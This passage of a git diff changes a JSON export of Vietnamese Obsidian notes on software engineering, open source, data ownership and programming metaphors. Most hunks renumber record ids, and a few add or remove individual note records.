winform\n\n### Viết mọi thứ vào code behind\n\nCác bạn rất thường xuyên viết tất cả các loại code trong file code behind. Nó bao gồm đủ các code xử lý logic, tính toán, truy xuất cơ sở dữ liệu, tương tác với các điều khiển.\n\nKết quả là file code behind thường xuyên là một mớ hổ lốn với số lượng code rất lớn. Cá biệt, đôi khi gặp những project mà toàn bộ code của cả chương trình dồn vào trong vài form.\n\nMỗi lớp form thường được tách làm hai file: file design và file code behind. Code của file design được chương trình designer sinh tự động. Phần code behind là nơi lập trình viên viết code của mình để xử lý sự kiện hoặc thực hiện các tính toán.\n\nGiờ đặt ra mấy vấn đề:\n\n- Bạn sẽ làm thế nào nếu muốn thay đổi thiết kế giao diện? Hầu như sẽ phải code lại hết từ đầu rồi.\n- Nếu bạn làm việc theo nhóm 2-3 người, làm sao phân chia công việc? Cái này chịu rồi.\n- Làm sao để test được logic/tính toán của ứng dụng? Cái này cũng chịu rồi.\n- Làm sao để bảo trì code về sau, đặc biệt khi có yêu cầu điều chỉnh từ người hướng dẫn?\n- Người khác (giáo viên chẳng hạn) đọc code của bạn chắc chắn sẽ không chịu nổi đâu.\n\nTại sao lại có việc dồn code hết vào một cục như vậy?\n\nĐây là do bạn không biết và vận dụng các nguyên lý của thiết kế hướng đối tượng (như [bộ nguyên lý SOLID](https://tuhocict.com/bo-nguyen-ly-solid-lap-trinh-vien-tuong-lai-can-biet/)) và các nguyên lý chung trong lập trình ứng dụng (vd, nguyên lý Separation of Concerns). Các nguyên lý này áp dụng không chỉ cho winform, mà còn cho bất kỳ công nghệ phát triển ứng dụng nào.\n\nBạn cũng không quan tâm đến các yêu cầu chung đặt ra cho việc code phần mềm (ví dụ, khả năng bảo trì, nâng cấp, test). Mục đích của các bạn chỉ là làm sao có được một chương trình chạy.\n\nTuy nhiên, nếu bạn quen với lối lập trình như vậy, dù là theo công nghệ nào đi nữa, code của các bạn cũng vẫn chỉ là các mớ hổ lốn. Sau sẽ rất khó sửa.\n\n### Không phát huy được các tính năng của windows forms\n\nVí dụ, khi làm việc với các control như TextBox, các bạn thường truy xuất thông tin trực tiếp qua code và thuộc tính Text. Khi làm việc với DataGridView/ListView, các bạn thường đổ dữ liệu vào một cách thủ công.\n\nKhi làm như vậy, tất cả đều phải thông qua code. Mà code này lại nằm ở chính file code behind đã nói ở trên. Nó càng làm phình file này ra.\n\nVới kiểu làm “thủ công” trên, bạn đã vứt bỏ đi khả năng liên kết dữ liệu (data binding) và hỗ trợ thiết kế rất mạnh của winforms. Lối làm thủ công mất rất nhiều công sức, dễ bị lỗi, ứng dụng làm ra hay bị lỗi vặt và thiếu ổn định.\n\nHãy tưởng tượng khi một giao diện phức tạp với rất nhiều điều khiển trên đó trao đổi và đồng bộ dữ liệu với nhau. Việc lẫn lộn giữa chúng là rất thường xuyên. Kiểu làm thủ công này cũng rất rắc rối khi cần đồng bộ dữ liệu giữa các điều khiển.\n\n### Không phân biệt giữa giao diện – logic – dữ liệu\n\nỞ trên có nói tới việc bạn thường xuyên nhồi nhét đủ mọi loại code vào file code-behind của form. Nếu bạn phân biệt được rạch ròi các thành phần chính của ứng dụng thì có thể mọi thứ sẽ khác.\n\nNhìn một cách chung nhất, mỗi ứng dụng thường phân biệt rõ 3 thành phần cơ bản: giao diện người dùng, logic, dữ liệu. Mỗi thành phần này có mục tiêu khác nhau, kỹ thuật xử lý khác nhau. Do đó, không thể trộn lẫn lộn với nhau được.\n\nGiao diện người dùng được tạo ra bởi Form và các điều khiển bạn đặt trên nó. Nhiệm vụ của nó là giúp người dùng nhập dữ liệu, và hiển thị dữ liệu (đã xử lý) trở lại cho người dùng.\n\nLogic là các quy tắc chi phối việc xử lý dữ liệu. Anh này thường âm thầm đứng sau chứ ít khi lộ diện và do đó ít khi được để ý tới. Ví dụ, khi người dùng cần một danh sách email sắp xếp theo thứ tự abc. Anh logic phải làm việc này. Còn anh giao diện chỉ làm nhiệm vụ hiển thị nó ra.\n\nDữ liệu là thứ trung tâm, cả anh giao diện và logic đều phải làm việc với anh dữ liệu. Tuy nhiên, anh dữ liệu cũng đòi hỏi có nhà riêng cho nó ở. Đó là file dữ liệu, hoặc một cơ sở dữ liệu. Khi cần, dữ liệu sẽ rời nhà đến làm việc với logic và giao diện. Xong việc, dữ liệu sẽ quay về nhà ở.\n\nNhư vậy, nếu phân biệt rõ ba anh này, bạn chắc chắn sẽ thấy chúng nó không thể ở chung với nhau được. Mỗi anh cần không gian riêng cho mình.\n\nNguồn:: [[tuhocict]], [Bộ giải pháp dễ học cho lập trình winform giúp bạn làm đề tài | Tự học ICT](https://tuhocict.com/giai-phap-winforms-1-phan-tich-van-de-bai-toan-minh-hoa/)\n", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-07-22T04:55:00.000Z", + "Ngày cập nhật": "2024-07-27T05:58:00.000Z", + "id": "9W" + }, + { + "Tiêu đề": "Người mới lập trình thường hỏi nên dùng cú pháp, thư viện, hay ngôn ngữ nào. Lập trình viên nhiều kinh nghiệm thường tập trung vào các khái niệm trừu tượng", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Công nghệ thông tin/Kỹ thuật phần mềm/Người mới lập trình thường hỏi nên dùng cú pháp, thư viện, hay ngôn ngữ nào. Lập trình viên nhiều kinh nghiệm thường tập trung vào các khái niệm trừu tượng", + "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, @@ -9730,7 +9858,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", "Ngày cập nhật": "2024-07-27T05:58:00.000Z", - "id": "9P" + "id": "9X" }, { "Tiêu đề": "Khi lạc trong một thành phố, ta mở bản đồ lên coi và định vị được bức tranh tổng thể. Khi lạc trong code, ta mở UML lên và càng thấy rối hơn", @@ -9746,7 +9874,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2024-08-02T08:36:00.000Z", - "id": "9Q" + "id": "9Y" }, { "Tiêu đề": "Khi đang có việc và phải bỏ dở để học một công cụ, ta không nhức đầu khi đó là công cụ vật lý, nhưng lại nhức đầu khi đó là công cụ số", @@ -9762,7 +9890,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2024-09-02T07:26:00.000Z", - "id": "9R" + "id": "9Z" }, { "Tiêu đề": "Lý do không dùng lại code của người khác", @@ -9778,7 +9906,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2024-07-27T05:57:00.000Z", - "id": "9S" + "id": "9a" }, { "Tiêu đề": "Lập trình là lĩnh vực dễ nhức đầu vì cần phải học rất nhiều công cụ khác nhau trong lúc làm việc", @@ -9794,7 +9922,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2024-08-28T06:49:00.000Z", - "id": "9T" + "id": "9b" }, { "Tiêu đề": "Mỗi lần nghiên cứu thư viện mới là lại phải gom tất cả quyết tâm và năng lượng để làm", @@ -9810,7 +9938,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2024-08-05T16:14:00.000Z", - "id": "9U" + "id": "9c" }, { "Tiêu đề": "Ngành kỹ thuật phần mềm không có một ngôn ngữ thị giác chung", @@ -9826,7 +9954,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2024-07-28T15:16:00.000Z", - "id": "9V" + "id": "9d" }, { "Tiêu đề": "Thật trớ trêu khi ngành kỹ thuật phần mềm viết nên những phần mềm để giúp các ngành khác tạo bản thiết kế hiệu quả hơn, nhưng lại không thể viết nên một phần mềm để tạo bản thiết kế cho chính ngành của mình", @@ -9842,7 +9970,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-10-18T10:36:00.000Z", "Ngày cập nhật": "2024-07-28T13:55:00.000Z", - "id": "9W" + "id": "9e" }, { "Tiêu đề": "Viết code dễ hơn đọc code", @@ -9858,7 +9986,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2024-07-27T05:57:00.000Z", - "id": "9X" + "id": "9f" }, { "Tiêu đề": "90% lượng code ban đầu tốn 90% thời gian lập trình. 10% lượng code còn lại tốn thêm 90% thời gian lập trình", @@ -9874,7 +10002,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-07-26T17:43:00.000Z", "Ngày cập nhật": "2024-03-19T14:00:00.000Z", - "id": "9Y" + "id": "9g" }, { "Tiêu đề": "Kể cả những người đã làm lố thời gian quá nhiều vẫn luôn lạc quan mình sẽ làm xong sớm", @@ -9890,7 +10018,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2024-03-19T14:08:00.000Z", - "id": "9Z" + "id": "9h" }, { "Tiêu đề": "Viết phần mềm chỉ chiếm khoảng ⅓ thời gian, còn lại là dành cho bảo trì (thêm bớt chức năng, sửa lỗi, v.v.)", @@ -9906,7 +10034,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-07-31T10:05:00.000Z", "Ngày cập nhật": "2023-12-17T05:16:00.000Z", - "id": "9a" + "id": "9i" }, { "Tiêu đề": "Tương lai của một ngôn ngữ phụ thuộc vào việc lý do ra đời của nó và lý do để sử dụng nền tảng dựa trên nó có còn cần nữa hay không", @@ -9922,7 +10050,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2024-01-09T06:48:00.000Z", - "id": "9b" + "id": "9j" }, { "Tiêu đề": "Chấp nhận giải pháp mì ăn liền là đang mang nợ vào người", @@ -9938,7 +10066,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2024-02-10T16:32:00.000Z", - "id": "9c" + "id": "9k" }, { "Tiêu đề": "Các đánh đổi tạo ra nhiều tổ hợp giải pháp khác nhau cho cùng một nhu cầu", @@ -9955,7 +10083,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2024-08-28T06:45:00.000Z", - "id": "9d" + "id": "9l" }, { "Tiêu đề": "Có sự đánh đổi giữa sự dễ dàng tuỳ biến dữ liệu của mình và sự dễ dàng hợp tác qua mạng", @@ -9971,7 +10099,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", "Ngày cập nhật": "2023-12-17T05:14:00.000Z", - "id": "9e" + "id": "9m" }, { "Tiêu đề": "Có sự đánh đổi giữa sự tự do sử dụng dữ liệu và sự tiện lợi trong việc hợp tác", @@ -9987,7 +10115,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", "Ngày cập nhật": "2024-09-02T06:55:00.000Z", - "id": "9f" + "id": "9n" }, { "Tiêu đề": "Việc lập trình ít trực giác hơn nhưng lại có nhiều đánh đổi hơn các ngành khác", @@ -10004,7 +10132,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2024-08-30T14:03:00.000Z", - "id": "9g" + "id": "9o" }, { "Tiêu đề": "❓ Học code bằng việc debug product code sẽ nhanh hơn", @@ -10020,7 +10148,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-07-17T05:34:00.000Z", "Ngày cập nhật": "2023-12-17T05:16:00.000Z", - "id": "9h" + "id": "9p" }, { "Tiêu đề": "Lập trình là việc hướng dẫn máy làm theo đúng ý mình, chứ không phải chỉ mỗi viết code", @@ -10036,7 +10164,23 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-10-08T09:23:00.000Z", "Ngày cập nhật": "2024-09-02T07:53:00.000Z", - "id": "9i" + "id": "9q" + }, + { + "Tiêu đề": "Người không làm lĩnh vực lập trình không được tạo điều kiện để trưởng thành về mặt quản trị dữ liệu", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Công nghệ thông tin/Người không làm lĩnh vực lập trình không được tạo điều kiện để trưởng thành về mặt quản trị dữ liệu", + "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", + "Dự án": { + "Mã dự án": "C1" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "Khái niệm:: \nLý do:: [[Xong hạn chót này thì sẽ tới hạn chót khác]], mà [[Excel là người bạn tuổi thơ tuyệt vời, nhưng là kẻ thù của tuổi dậy thì]]\n[[❓Tại sao không cho người chưa biết gì về CNTT học về cơ sở dữ liệu trước thay vì học lập trình trước?]]\n[[Việc lưu trữ dữ liệu tại máy cá nhân và ở định dạng đơn giản sẽ giúp người dùng quen thuộc hơn với việc lập trình]]\n[[Dữ liệu chính là lập trình]]\n\nNguồn:: ", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2024-09-02T08:51:00.000Z", + "id": "9r" }, { "Tiêu đề": "Lập trình là một cái gì đó thâm nhập vào đời sống của chúng ta, nhưng lại gần như vô hình", @@ -10052,7 +10196,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", "Ngày cập nhật": "2024-09-02T07:26:00.000Z", - "id": "9j" + "id": "9s" }, { "Tiêu đề": "Lập trình viên biết lập trình chủ yếu là nhờ biết google", @@ -10068,7 +10212,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", "Ngày cập nhật": "2024-09-02T07:26:00.000Z", - "id": "9k" + "id": "9t" }, { "Tiêu đề": "Người không học về lập trình thấy việc lập trình như làm phép thuật", @@ -10084,7 +10228,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", "Ngày cập nhật": "2024-09-02T07:26:00.000Z", - "id": "9l" + "id": "9u" }, { "Tiêu đề": "Người viết code thường làm một mình, không được hỗ trợ, không được trả tiền, chỉ vì sự đam mê. Họ cần xây dựng rất nhiều mối quan hệ tin tưởng được nhau", @@ -10100,23 +10244,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2024-09-02T07:26:00.000Z", - "id": "9m" - }, - { - "Tiêu đề": "Ta được hứa hẹn sẽ có những chiếc xe đạp cho tâm trí. Thay vào đó ta lại có máy bay", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Công nghệ thông tin/Ta được hứa hẹn sẽ có những chiếc xe đạp cho tâm trí. Thay vào đó ta lại có máy bay", - "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", - "Dự án": { - "Mã dự án": "C1" - }, - "Nội dung bài đăng": { - "Toàn bộ nội dung": "- We were promised bicycles but instead we got aircraft carriers\n- Bicycles: personal, light, moddable\n- Aircraft carriers: industrial, heavy, manufactured\n\nNguồn:: [Personal and cozy software](https://jzhao.xyz/thoughts/cozy-software#against-universal-design)", - "Định dạng nội dung": "md" - }, - "Phương thức tạo": "Cào vault", - "Ngày tạo": "2024-08-05T14:35:00.000Z", - "Ngày cập nhật": "2024-09-02T07:42:00.000Z", - "id": "9n" + "id": "9v" }, { "Tiêu đề": "Các công ty đầu tư vào dự án mã nguồn mở khi nó nó là hàng hoá bổ sung cho sản phẩm chính của họ", @@ -10132,7 +10260,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2024-09-02T07:26:00.000Z", - "id": "9o" + "id": "9w" }, { "Tiêu đề": "Trước đây, khái niệm ❝chính phủ mở❞ là để nói về trách nhiệm giải trình minh bạch của chính phủ. Sau khi O'Reilly sử dụng nó như một dạng kết hợp giữa chính phủ và mã nguồn mở, ý niệm này đã bị lu mờ", @@ -10148,7 +10276,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2024-09-02T07:26:00.000Z", - "id": "9p" + "id": "9x" }, { "Tiêu đề": "Những người ly khai khỏi phong trào phần mềm tự do chán nản với việc RMS chỉ nói về cái mình muốn chứ không nói cái người ta muốn", @@ -10164,7 +10292,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2024-09-02T07:26:00.000Z", - "id": "9q" + "id": "9y" }, { "Tiêu đề": "O'Reilly ứng dụng lý thuyết structural differential của Korzybski vào việc tạo ra khái niệm open source và web 2.0", @@ -10180,7 +10308,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2024-09-02T07:26:00.000Z", - "id": "9r" + "id": "9z" }, { "Tiêu đề": "OSI muốn các công ty đón nhận mã nguồn mở bằng việc nhấn mạnh vào cộng đồng và lợi thế cạnh tranh từ phương thức sản xuất mới này", @@ -10196,7 +10324,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2024-09-02T07:26:00.000Z", - "id": "9s" + "id": "9-" }, { "Tiêu đề": "Quyên góp cho mã nguồn mở thiếu sự khẩn cấp và đồng cảm cá nhân mà các tổ chức từ thiện hay có", @@ -10212,7 +10340,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-06-07T11:30:00.000Z", "Ngày cập nhật": "2024-09-02T07:26:00.000Z", - "id": "9t" + "id": "9_" }, { "Tiêu đề": "So với mã nguồn đóng, mã nguồn mở làm giảm thu nhập đáng kể nhưng lại tăng khối lượng công việc hơn nhiều lần", @@ -10228,7 +10356,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2024-09-02T07:26:00.000Z", - "id": "9u" + "id": "A0" }, { "Tiêu đề": "The decentralized, non-hierarchical nature of the public coding community makes it difficult to secure pay for coders, yet the work that emerges from it is the foundation for a digital capitalist economy", @@ -10244,7 +10372,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2024-09-02T07:26:00.000Z", - "id": "9v" + "id": "A1" }, { "Tiêu đề": "Thời gian trung bình từ lúc một phần mềm đến lúc có phần mềm mã nguồn mở tương đương là 7 năm", @@ -10260,7 +10388,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2024-09-02T07:26:00.000Z", - "id": "9w" + "id": "A2" }, { "Tiêu đề": "Từ nào mà mọi người đều nhìn thấy nó theo cách của mình thì là một từ thành công với O'Reilly", @@ -10276,7 +10404,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2024-09-02T07:26:00.000Z", - "id": "9x" + "id": "A3" }, { "Tiêu đề": "Việc sử dụng từ ❝mở❞ đã khiến cho O'Reilly thành công trong việc PR mã nguồn mở", @@ -10292,7 +10420,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2024-09-02T07:26:00.000Z", - "id": "9y" + "id": "A4" }, { "Tiêu đề": "Việc sử dụng từ ❝mở❞ đã khiến cho O'Reilly thành công trong việc đánh đồng internet với mã nguồn mở", @@ -10308,7 +10436,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2024-09-02T07:26:00.000Z", - "id": "9z" + "id": "A5" }, { "Tiêu đề": "Ý tưởng rằng làm dự án mã nguồn mở sẽ có cộng đồng lớn có lẽ không tồn tại trước thời OSI", @@ -10324,7 +10452,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2024-09-02T07:26:00.000Z", - "id": "9-" + "id": "A6" }, { "Tiêu đề": "Mã nguồn mở, phần mềm tự do", @@ -10340,7 +10468,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2024-04-16T15:16:00.000Z", "Ngày cập nhật": "2024-09-02T07:26:00.000Z", - "id": "9_" + "id": "A7" }, { "Tiêu đề": "FSF muốn bảo vệ con người khỏi bị khai thác, thao túng", @@ -10356,7 +10484,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2024-09-02T07:26:00.000Z", - "id": "A0" + "id": "A8" }, { "Tiêu đề": "Khi nói đến mã nguồn mở, đa số chỉ để ý tới việc được đọc mã nguồn, chứ không để ý đến quyền được chỉnh sửa và phân phối nó", @@ -10372,7 +10500,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2024-09-02T07:26:00.000Z", - "id": "A1" + "id": "A9" }, { "Tiêu đề": "Khái niệm tài sản trí tuệ không có cơ sở vững chắc", @@ -10388,7 +10516,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2024-09-02T07:26:00.000Z", - "id": "A2" + "id": "AA" }, { "Tiêu đề": "Không phải lúc nào chức năng chính của những thứ thông minh là thứ khiến bạn mua nó", @@ -10404,7 +10532,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2024-09-02T07:26:00.000Z", - "id": "A3" + "id": "AB" }, { "Tiêu đề": "Những trường hợp sử dụng phần mềm không tự do nhưng không gây hại", @@ -10420,7 +10548,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2024-09-02T07:26:00.000Z", - "id": "A4" + "id": "AC" }, { "Tiêu đề": "Từ ❝mở❞ dễ bị lạm dụng hoặc hiểu sai hơn là ❝tự do❞", @@ -10436,7 +10564,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2024-09-02T07:26:00.000Z", - "id": "A5" + "id": "AD" }, { "Tiêu đề": "Việc mở mã nguồn thường được xem như là một món quà cho cộng đồng, chứ không phải là một nghĩa vụ phải làm với xã hội", @@ -10452,7 +10580,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2024-09-02T07:26:00.000Z", - "id": "A6" + "id": "AE" }, { "Tiêu đề": "Đa số mọi người nghĩ rằng các công ty lớn như Microsoft, Google tạo ra code từ đầu đến cuối, nhưng thực ra họ chỉ mua lại code và bán thương hiệu của mình", @@ -10468,7 +10596,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2024-09-02T07:26:00.000Z", - "id": "A7" + "id": "AF" }, { "Tiêu đề": "Quyền được đọc là quyền được cào", @@ -10484,7 +10612,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2024-09-02T07:26:00.000Z", - "id": "A8" + "id": "AG" }, { "Tiêu đề": "Theo luật Mỹ, phần nói về trách nhiệm phải được viết in hoa", @@ -10500,7 +10628,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2024-09-02T07:26:00.000Z", - "id": "A9" + "id": "AH" }, { "Tiêu đề": "Bạn có quyền chỉnh sửa dữ liệu của mình dưới bất kỳ hình thức nào", @@ -10516,7 +10644,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", "Ngày cập nhật": "2024-09-02T07:26:00.000Z", - "id": "AA" + "id": "AI" }, { "Tiêu đề": "Nếu bạn không kiểm soát chương trình bạn dùng, người khác sẽ kiểm soát nó", @@ -10532,7 +10660,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2024-09-02T07:26:00.000Z", - "id": "AB" + "id": "AJ" }, { "Tiêu đề": "Việc phải trả tiền cho phần mềm để được đọc dữ liệu của mình không khác gì bị tống tiền", @@ -10548,7 +10676,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2024-09-02T07:26:00.000Z", - "id": "AC" + "id": "AK" }, { "Tiêu đề": "Việc trung tâm hoá tạo ra lợi thế kinh tế nhờ quy mô lớn", @@ -10564,7 +10692,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", "Ngày cập nhật": "2024-09-02T07:26:00.000Z", - "id": "AD" + "id": "AL" }, { "Tiêu đề": "Việc trung tâm hoá việc lưu trữ dữ liệu trên máy chủ sẽ lấy đi autonomy và agency của người dùng cuối", @@ -10580,7 +10708,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", "Ngày cập nhật": "2024-09-02T07:26:00.000Z", - "id": "AE" + "id": "AM" }, { "Tiêu đề": "Tự động hóa là bản chất của ngành phần mềm. Cái gì phải làm thủ công thì nó là bug", @@ -10596,7 +10724,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2024-09-02T07:43:00.000Z", - "id": "AF" + "id": "AN" }, { "Tiêu đề": "Việc lưu trữ dữ liệu tại máy cá nhân và ở định dạng đơn giản sẽ giúp người dùng quen thuộc hơn với việc lập trình", @@ -10612,7 +10740,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", "Ngày cập nhật": "2024-09-02T08:51:00.000Z", - "id": "AG" + "id": "AO" }, { "Tiêu đề": "Các cửa sổ phần mềm không giống như một bàn làm việc thật", @@ -10628,7 +10756,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2024-08-02T08:32:00.000Z", "Ngày cập nhật": "2024-09-02T07:26:00.000Z", - "id": "AH" + "id": "AP" }, { "Tiêu đề": "Các ngành khác đều làm việc với những vật thể cụ thể trong không gian. Chỉ có ngành lập trình là không có điều đó", @@ -10644,7 +10772,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2024-09-02T07:26:00.000Z", - "id": "AI" + "id": "AQ" }, { "Tiêu đề": "Lập trình thực ra là dùng ẩn dụ", @@ -10660,7 +10788,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-06-03T02:36:00.000Z", "Ngày cập nhật": "2024-09-02T07:26:00.000Z", - "id": "AJ" + "id": "AR" }, { "Tiêu đề": "Mental modal trong ngành lập trình thực ra chỉ là những ẩn dụ", @@ -10676,7 +10804,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2024-09-02T07:26:00.000Z", - "id": "AK" + "id": "AS" }, { "Tiêu đề": "Triết học ngôn ngữ là trung tâm của triết học khoa học máy tính", @@ -10692,7 +10820,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-06-03T02:36:00.000Z", "Ngày cập nhật": "2024-09-02T08:52:00.000Z", - "id": "AL" + "id": "AT" }, { "Tiêu đề": "Việc web dùng ẩn dụ trang giấy giới hạn cách nghĩ của ta về web", @@ -10708,7 +10836,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", "Ngày cập nhật": "2024-09-02T07:26:00.000Z", - "id": "AM" + "id": "AU" }, { "Tiêu đề": "Ẩn dụ là cách ta hiểu code bằng cơ thể", @@ -10724,7 +10852,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", "Ngày cập nhật": "2024-09-02T07:26:00.000Z", - "id": "AN" + "id": "AV" }, { "Tiêu đề": "Ẩn dụ máy tính như là bàn làm việc đã giúp mọi người biết làm việc với máy tính", @@ -10740,7 +10868,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-10-22T14:45:00.000Z", "Ngày cập nhật": "2024-09-02T07:26:00.000Z", - "id": "AO" + "id": "AW" }, { "Tiêu đề": "Cộng đồng bao gồm những người có cùng tầm nhin. Hệ sinh thái thì không", @@ -10756,7 +10884,23 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2024-04-21T08:27:00.000Z", - "id": "AP" + "id": "AX" + }, + { + "Tiêu đề": "Giá trị của một mạng lưới điện thoại tỉ lệ với bình phương số thành viên của nó", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Cộng đồng, hệ sinh thái, hệ phức hợp/Hệ phức hợp/Giá trị của một mạng lưới điện thoại tỉ lệ với bình phương số thành viên của nó", + "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", + "Dự án": { + "Mã dự án": "C1" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "Khái niệm:: [[Phi tuyến]]\n[[Chúng ta không quen thuộc với luỹ thừa]]\nNguồn:: [Metcalfe's law - Wikipedia](https://en.wikipedia.org/wiki/Metcalfe's_law)", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2024-09-06T14:44:00.000Z", + "Ngày cập nhật": "2024-09-06T14:45:00.000Z", + "id": "AY" }, { "Tiêu đề": "Hiệu ứng 